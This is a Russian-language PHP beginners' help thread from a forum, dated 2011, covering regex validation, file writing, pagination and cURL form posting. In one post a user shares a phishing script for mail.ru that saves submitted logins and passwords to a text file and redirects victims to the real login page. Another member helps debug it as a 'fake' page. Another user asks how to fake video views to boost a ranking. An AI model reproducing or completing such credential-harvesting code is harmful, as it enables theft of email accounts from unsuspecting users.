[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Axel G

    Axel G New Member

    Joined:
    28 Jan 2009
    Messages:
    86
    Likes Received:
    3
    Reputations:
    3
    Feksess, в определенное это куда? Если в конец файла, то $f=fopen('file.php', 'a');
     
  2. Feksess

    Feksess New Member

    Joined:
    23 Jul 2009
    Messages:
    57
    Likes Received:
    3
    Reputations:
    -1
    Ну например между конкретных тегов.
     
  3. jeremy0

    jeremy0 New Member

    Joined:
    5 Jul 2011
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Вот есть скрипт http://pastebin.com/geSTGFqE . Каким образом формируется контент на странице и нужно изменить ссылку редиректа.
     
  4. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    PHP:
    <?php
    $str 
    "";
    if (
    preg_match("#^[A-zА-яЁё\s\-]+$#"$str))
    echo 
    1;
    else echo 
    0;
    ?>
    Feksess, не проще ли с помощью str_replace или preg_replace заменить нужное и потом перезаписать файл?
     
    #19064 Skofield, 11 Aug 2011
    Last edited: 11 Aug 2011
  5. IBN_Sino

    IBN_Sino New Member

    Joined:
    18 Jul 2011
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    помогтте пожалуюста, это для майл.ру


    <?PHP
    $Login = $_POST['Login'];//Логин от E-mail'a
    $Domain = $_POST['Domain'];//Домен (mail, inbox, list, bk)
    $Pass = $_POST['Password'];//Пароль от E-mail'a
    $c = "$Login@$Domain:$Pass";
    $fp = fopen("base.txt","a+"); //открыть файл
    fwrite($fp,"\n $c <br> \n");//записываем вс` данные
    fclose($fp); //закрываем
    header("Location: http://win.mail.ru/cgi-bin/login"); //куда перенавравиться пользователь после ввода данных
    echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"
    ?>
     
  6. brain

    brain Elder - Старейшина

    Joined:
    4 Jul 2010
    Messages:
    249
    Likes Received:
    90
    Reputations:
    33
    IBN_Sino, и в чем проблема? тут не экстрасенсы.
    Ну права на запись base.txt 777 поставьте. Предсказывая ваще следующее сообщение, отвечу, киньте что у вас написанно в теге <form>. Должно быть так:
    <form method="post" action="скривашегофейка.php" name="value">
     
    #19066 brain, 11 Aug 2011
    Last edited: 11 Aug 2011
  7. Hixon

    Hixon Member

    Joined:
    17 Apr 2010
    Messages:
    88
    Likes Received:
    9
    Reputations:
    0
    Можно ли как-то средствами пхп сделать "просмотр" видео. Требуется, чтобы ролик был открыт на 1 мгновение, полного просмотра не требуется. На сайте плеер, чем-то похожий на ютуб, работает на флеш. Мне думается, что нет, но вдруг - это возможно.
     
  8. bjong

    bjong Elder - Старейшина

    Joined:
    26 Jul 2003
    Messages:
    41
    Likes Received:
    12
    Reputations:
    18
    просмотр средствами пхп, что имеется ввиду?
    пхп серверный язык, он исполняется на сервере..ты хочешь чтобы сервер открывал видео?
     
  9. Hixon

    Hixon Member

    Joined:
    17 Apr 2010
    Messages:
    88
    Likes Received:
    9
    Reputations:
    0

    Я знаю, что пхп работает на сервере. У меня задача - вывести ролик в топ. Для этого нужно голоса за ролик (я уже сделал) и просмотры. Просмотр засчитывается, если ролик был открыт. Как это сделать, я не знаю. У меня пользователь кликает по ссылки ГОЛОСОВАТЬ, аяксом вызывается скрипт, который голосует за ролик. Поэтому, есть возможность для этой задачи использовать клиент.
     
  10. Feksess

    Feksess New Member

    Joined:
    23 Jul 2009
    Messages:
    57
    Likes Received:
    3
    Reputations:
    -1
    Ну мне нужно скриптом создавать php файл. И из формы записывать в него информацию. Ну только надо чтобы эта информация была в определенном месте( между тегами div например) для редактирование размещения этой информации на странице. Как это сделать?
     
  11. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    ТУТ возник такой вопрос, нужно авторизоватся на форум IPB и создать тему

    пост данные выглядят так

    PHP:
    <input type='hidden' name='act' value='Post' />
    <
    input type='hidden' name='s' value='' />
    <
    input type='hidden' name='f' value='201' />
    <
    input type='hidden' name='auth_key' value='0b636b48819787da8b5fa48c2c27185b' />
    <
    input type='hidden' name='removeattachid' value='0' />
    <
    input type='hidden' name='MAX_FILE_SIZE' value='102400000' />
    <
    input type='hidden' name='CODE' value='01' />
    <
    input type='hidden' name='attach_post_key' value='44a6b7fccccb10d1b2017bab32464721' />
    етот ключ

    PHP:
    <input type='hidden' name='attach_post_key' value='44a6b7fccccb10d1b2017bab32464721' />
    меняется при каждом отерытии формы отправки, вопрос как отправить пост запрос,

    вот мой код

    PHP:
    $cur=curl_init();        
    curl_setopt($curCURLOPT_URL'http://site.ru/index.php?act=Login&CODE=01&CookieDate=1');     
    curl_setopt($cur,CURLOPT_USERAGENT,"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.8.131 Version/11.10");     
    curl_setopt($cur,CURLOPT_COOKIEJAR,'cookie.txt');        
    curl_setopt($cur,CURLOPT_COOKIEFILE,'cookie.txt');       
    curl_setopt($cur,CURLOPT_RETURNTRANSFER,1);        
    curl_setopt($curCURLOPT_POST1);          
    curl_setopt($curCURLOPT_POSTFIELDS"referer=$refer&UserName=login&PassWord=pass&CookieDate=1&Privacy=1");     
    curl_exec($cur);    
    curl_close($cur);     


    $cur=curl_init();        
    curl_setopt($curCURLOPT_URL'http://site.ru/index.php?act=post&do=new_post&f=201');     
    curl_setopt($cur,CURLOPT_USERAGENT,"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.8.131 Version/11.10");     
    curl_setopt($cur,CURLOPT_COOKIEJAR,'cookie.txt');        
    curl_setopt($cur,CURLOPT_COOKIEFILE,'cookie.txt');       
    curl_setopt($cur,CURLOPT_RETURNTRANSFER,1);          
    $doc curl_exec($cur);    
    curl_close($cur);   
    preg_match("/<input type=\'hidden\' name=\'attach_post_key\'(.*?)\/>/",$doc$aa);
    preg_match("/[a-zA-Z0-9]{10,100}/",$aa[0], $bb);



    $cur=curl_init();        
    curl_setopt($curCURLOPT_URL,'http://site.ru/index.php?' );     
    curl_setopt($cur,CURLOPT_USERAGENT,"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.8.131 Version/11.10");     
    curl_setopt($cur,CURLOPT_COOKIEJAR,'cookie.txt');        
    curl_setopt($cur,CURLOPT_COOKIEFILE,'cookie.txt');       
    curl_setopt($cur,CURLOPT_RETURNTRANSFER,1);     
    curl_setopt($curCURLOPT_POST1);          
    curl_setopt($curCURLOPT_POSTFIELDS"act=Post&f=201&auth_key=47442e6ac2fd23311b01a0db9ed438b1&removeattachid=0&MAX_FILE_SIZE=102400000&CODE=01&attach_post_key=$bb[0]&TopicTitle=$theme&TopicDesc=0&Post=$mypost");     
     
    curl_exec($cur);    
    curl_close($cur);  

    но такой вариант естественно неподходит, как быть? помогите исправить код штобы он работал плыз
     
  12. WTSBugzoff

    WTSBugzoff New Member

    Joined:
    23 Jun 2011
    Messages:
    59
    Likes Received:
    2
    Reputations:
    0
    Можно обновить ссылки на документацию для php?
     
  13. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    801
    Likes Received:
    145
    Reputations:
    73
    PHP:
    <?php

    $data_file 
    "data.txt"// Файл со строками
    $onpage 50// Кол-во выводимых строк на страницу

    $data file($data_file); // Читаем файл
    $count count($data); // Считаем кол-во строк
    $links $count/$onpage// Определяем количество ссылок 

    $page = ( isset($_GET['page']) && $_GET['page'] > && $_GET['page'] < $links) ? (int)$_GET['page'] : 0// Определяем текущую страницу

    $read $page $onpage// Высчитываем с какой строки начинать читать

    for($i=$read;$i<$read+$onpage;$i++) {
        if(
    $i $count) {
            echo 
    $data[$i]."<BR>"// Выводим данные
        
    }
    }

    // Выводим ссылки

    for($i=0;$i<$links;$i++) echo "<a href='".$_SERVER['PHP_SELF']."?page=".$i."'>".$i."</a> "

    ?>
     
    #19073 LStr1ke, 11 Aug 2011
    Last edited: 11 Aug 2011
    1 person likes this.
  14. Axel G

    Axel G New Member

    Joined:
    28 Jan 2009
    Messages:
    86
    Likes Received:
    3
    Reputations:
    3
    Значит у меня все-таки верно составлена
    PHP:
    !preg_match('([^A-zА-яЁё|\s\-])'$full)
    , потому что ваша также пропускает (_[]), как разрешить использовать только пробел и дефис, а все остальное запретить?
     
  15. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    Axel G
    #^[\s\-]+$#

    вот так не будет пропускать _[]
    PHP:
    <?php 
    $str 
    "_[]"
    if (
    preg_match("#^[A-Za-zА-Яа-яЁё\s\-]+$#"$str)) 
    echo 
    1
    else echo 
    0
    ?>
    Feksess, так откуда возьмутся в нем эти теги, если это новосозданный файл?
     
    #19075 Skofield, 11 Aug 2011
    Last edited: 11 Aug 2011
  16. Axel G

    Axel G New Member

    Joined:
    28 Jan 2009
    Messages:
    86
    Likes Received:
    3
    Reputations:
    3
    Skofield, спасиб те дорогой = )

    PHP:
    !preg_match('([^A-Za-zА-Яа-яЁё|\s\-])'$full)
    Тоже воркает = )
     
    #19076 Axel G, 11 Aug 2011
    Last edited: 11 Aug 2011
  17. Feksess

    Feksess New Member

    Joined:
    23 Jul 2009
    Messages:
    57
    Likes Received:
    3
    Reputations:
    -1
    Ну задача такова. Есть страница сайта. Там ссылки с заголовком статьи на сами статьи. Через скрипт я добавляю заголовок в БД. И сам текст статьи. Но мне нужно чтобы страницы на которые ведут ссылки создавались скриптом а не вручную. Как это сделать? Или только вручную можно?
     
  18. Nelz.

    Nelz. Member

    Joined:
    2 Aug 2010
    Messages:
    151
    Likes Received:
    7
    Reputations:
    0
    как сделать переход по страницам?

    1 2 3 4 итд?
     
  19. brain

    brain Elder - Старейшина

    Joined:
    4 Jul 2010
    Messages:
    249
    Likes Received:
    90
    Reputations:
    33
    http://www.internet-technologies.ru/articles/article_1336.html
     
  20. Gusev

    Gusev Banned

    Joined:
    4 Sep 2010
    Messages:
    86
    Likes Received:
    8
    Reputations:
    -5
    Можно ли сделать автоматическое открытие она в новой вкладке (что бы человека на неё не бросало а тупо открывало)
     
Thread Status:
Not open for further replies.